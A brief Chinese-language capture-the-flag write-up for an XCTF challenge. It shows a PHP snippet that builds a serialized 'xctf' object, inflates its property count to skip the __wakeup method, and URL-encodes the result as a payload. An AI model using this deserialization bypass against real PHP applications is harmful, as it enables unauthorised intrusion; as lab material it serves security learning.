看着这个源码长度,就觉着比较简单
本题就一个__wakeup方法需要绕过,但是不对哦没有提示也不知道该参数得多少呀
本来都要复制进编译器写了,发现源码闭合有点问题,可能是做了隐藏
解题步骤
实在找不到了,就尝试了一下flag=111直接利用code传参
class xctf{
public $flag = '111';
}
$a = serialize(new xctf);
$a = str_replace("1:","3:",$a);
echo urlencode($a);
?>
字符串替换是因为,要绕过__wakeup方法
当序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup的执行
它真的就这么简单,只是考察一个绕过__wakeup方式